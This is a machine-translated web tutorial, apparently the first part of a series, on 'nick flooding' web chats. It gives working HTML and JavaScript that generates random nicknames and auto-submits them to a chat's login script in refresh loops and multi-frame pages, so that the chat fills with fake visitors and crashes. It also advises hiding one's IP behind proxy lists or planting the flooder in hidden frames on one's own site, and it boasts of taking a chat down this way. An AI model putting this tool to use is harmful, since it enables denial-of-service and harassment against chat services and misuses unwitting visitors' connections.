This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat or nick flooding part 1

Continue >>>


Continuing the theme of FA, we decided to write another article, which now exactly corresponds to its title. Attention: use this only to combat the "frost-bitten" admins, who from idleness or in order to show their capabilities are thrown out of the chat for any reason, also without it. Do not use this tool in chat rooms, in which place they alienate you to communicate normally, because you will not let anyone talk , because an impressive number of different "people" will go into the chat and there will be so many of them that it will be impossible to express in the chat ... In other words, this is "Nick Flooding" or filling the chat with non-existent visitors.

We save on the start page.
To implement, you will need a chat with a login without registration and also a little knowledge of html (at least, what it is). Save the start page of the chat, this is the place where it says "Enter your nickname"

Code like this

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - the path where the data is sent
Enter your nickname: <input type = text name = Nick > - Nickname is entered here
<INPUT name = color type = hidden value = red> - paint
<INPUT type = submit value = "Start !!!" > - button

..................... </ html> </ body>

And this is how it looks in the browser: Enter your nickname

If you have a start page loaded as frames, i.e. You can already see the messages, the bottom says "Enter your nickname" (usually this is the lowest frame), you should right-click (below) and also select "View as html" there you will also see that also in the main case, it is possible that the code will become more complicated.

if you know how to work with the chat from the disk also in this chat it is possible, then the code of the lower frame, after the first phrase, will begin to have the following:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - the path where the data is sent
<input type = hidden name = Nick value = Your nickname> - nickname (it can not be seen)
<INPUT name = color type = hidden value = red> - color
Enter the phrase <INPUT TYPE = TEXT name = say size = "24"> - the phrase input field
<INPUT type = submit value = "Say !!!" >

..................... </ html> </ body>

If this chat is located at http://www.domen.ru then in the line <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> we also prescribe this address: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> now we run this file also we go out of it in the chat, name = " chat_x " may be absent, while time allowed to add it yourself. Instead of chat_x. It can also be called by the other. If you manage to enter the chat from this file, go to the next item.

The first trick: generate a "Chat Visitors"

If we use one nickname for our purposes, then in no way will he stretch more than 2-3 phrases ... will be thrown out. So it is necessary that the nickname prkticheski always be different. The Java script will help us in this (you don’t need to know it, just substitute your numbers) Math.floor (Math.random () * 100000000)

An example is allowed to see by clicking on the button:


Explanation: The mathematical object Math: Math.random () generates a number from 0 up to 1, then this number is rounded with the help of Math.floor () and it must be multiplied by 10 for example, while the number from 0 up to 9, if multiplied by 100, then up to 99, if multiplied by 1000, then up to 999 also. those. the length of the resulting number is less than or equal to the number of zeros, including by which it was multiplied .... the pancake was already confused Smile happy )) In the example (see below), this number is 100000000 causing that we get a random number, this will be a nickname ...
In order for this number to fit into the form for a nickname, put it in the page autoload, i.e. in the <body> tag later this will turn out: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> take care of the name of the form (see sample html-code above, it is highlighted in yellow) this is necessary in order for a random number to fit into the desired shape in the desired field.

Another chip: We send "visitors" to the chat.

<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

This script as if "clicks" the "Submit" button and sends data from a form called chat_x, in the chat this button can be called "Enter chat" or "Say", it acts with a delay of 1000 ms, so that you can first see what was loaded (you can later put 100), but then the data is automatically sent, but for this it is necessary to register the submit function (send ) to the automatic loading of our page, i.e. the <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit () "> tag now loads a random number when the page is loaded, then it is written to the chat_x form in field nick. also data from the chat_x form sent to the server, it turns out that people with a nickname in the form of several numbers entered the chat.

An example of html-code unsophisticated chat flooder

<HTML> <HEAD> <TITLE> Chat Flooder </ TITLE>

<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x ">
<input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

The last ... personal flooding

To do this, eat three ways.

1. Create a file containing a pair of frame, in one file, which when loading creates a nickname also sends it to the chat, let's call it forma.htm, but in another frame any other file, in my sample it is yo.htm. And save it with the name frames.htm. The code for this document will be:

Content of frames.htm

<html> <head> <title> Chat Flooder </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> This page uses frames. </ p>
</ body> </ noframes> </ frameset>

I singled out the name of the send frame specifically, since the data will be sent to it so that the forma.htm file cannot be unloaded after sending. Further in the code forma.htm we add the following: in the <FORM action = ..... tag = target = " send "> and in the source of the act line: <meta http-equiv = "Refresh" content = "1"> so that the file itself updated every second, and set Timer = 0. What happened: The file is also updated sent to the visitor's chat, it can be seen in the frame with the name SEND ie. instead of the yo.htm file, the chat appears, then forma.htm is also updated, it again sends the newly minted brow to the chat, the newly made chat is also updated again, again the chat comes in ... so down to infinity :) The update frequency is set based on the connection speed.

Sample content forma.htm

<Html>
<HEAD> <TITLE> Chat Flooder </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
function submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 0 );
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x " target = " send ">
<input name = color type = hidden value = red>
Nick: <input name = nick type = text>
<input name = password type = hidden value = "">
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

2 way. First, we make 4 files that will differ only in the delay when sending also one frame file in which there will be for example 16 (!) Frames, in the first four the first file, in it Timer = setTimeout ("(document.chat_x.submit ())", 1000 ); In the other four frames, the second file is loaded, in which the delay is 10,000. In the third four, 30,000. Well, but in the fourth four, the fourth file is loaded with a delay of 40,000, i.e. every 10,000ms, 4 "people" will enter the chat and they will all be different, although they will be in the form of numbers, but this is garbage ... If you used the login form in the chat, they will all go into the chat, but if the form of sending a message, then it is allowed to enter a paragraph of text as a message, while each generated nickname will speak ... Experiment, try other options with frames ...

It remains only to hide your IP, for this you can use A4Proxy , dial a large list of servers ....

3 way. if you eat the site, it is allowed to place these files on it, for example in a hidden frame, while also the IP will almost always be different ...

Valim chat :)

Chat rooms using the system of privates are so arranged that they are constantly “in touch” with the user's computer, i.e. they constantly generate a stream of messages for him, they do not monitor if he has disconnected in any way, also if the user community is doing quite a lot, then the chat can not withstand the “fall” either. So, just now we were in a chat that can withstand a maximum of 70 individuals, then it just stops working, even though the start page also loads ... It wasn’t hard to put such a chat "manually", it was just necessary to make a file which generates nicknames, sends them to chat, a minute after the launch of this file, in the chat to the existing 23rd added about another 50 people :) ) he also fell down (I used a file from a variety of frames, in which there was also one bla bla file) And it should be noted that we were at the club but there is impressive speed and powerful computers :) . It may also work with a modem (like agreeing with someone to start right away as well) or try it yourself first, I don’t know at all ... Don't forget that chat logs are also logged by admins after that you may want to see what it was :) Now access from the IP address of the Internet club "GeForce" to this chat is closed :)

FAQ: If it doesn't work

FlooDer : Nothing works for me :)
Try first to just enter the chat from the disk, i.e. from the entry form saved on the screw, if everything worked out, it means an error in the "script-flooding" code :) if it didn’t work out then read on ...

FlooDer : I came from the disk, now I can’t send data :) what to do?
Check the correctness of the form name (name = XxXxX)

FlooDer : In the <FORM action = http: //www.***.ru/chat.cgi method = post> line common no name = "XxXxX" , what to do?
Insert yourself: (name = "chat_x" target = "send") target- so that the data is sent to the send frame, it will be like this: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: When entering the chat, you need to enter a password, if every nickname is not registered, how to enter it into the code?
In the form for entering the password, it is necessary to add: value = "abrakadabra" then all generated users will enter this password

Continue >>>

It would not be superfluous for your friends to find out this information, share the article with them!

Expand / collapse Expand / Minimize Comments Window

Comments

Commenting, remember that the content and tone of your message may hurt the feelings of real people, show respect and tolerance towards your interlocutors, even if you do not share their opinion, your behavior in conditions of freedom of expression and anonymity provided by the Internet changes not only virtual, but also the real world. All comments are hidden from the index, spam is controlled.
Now everyone can publish articles.
Try it first!
To write an article
Liked? Subscribe to RSS feeds,
to be the first to receive information
about all the important events of the country and the world.
You can also support shram.kiev.ua, click: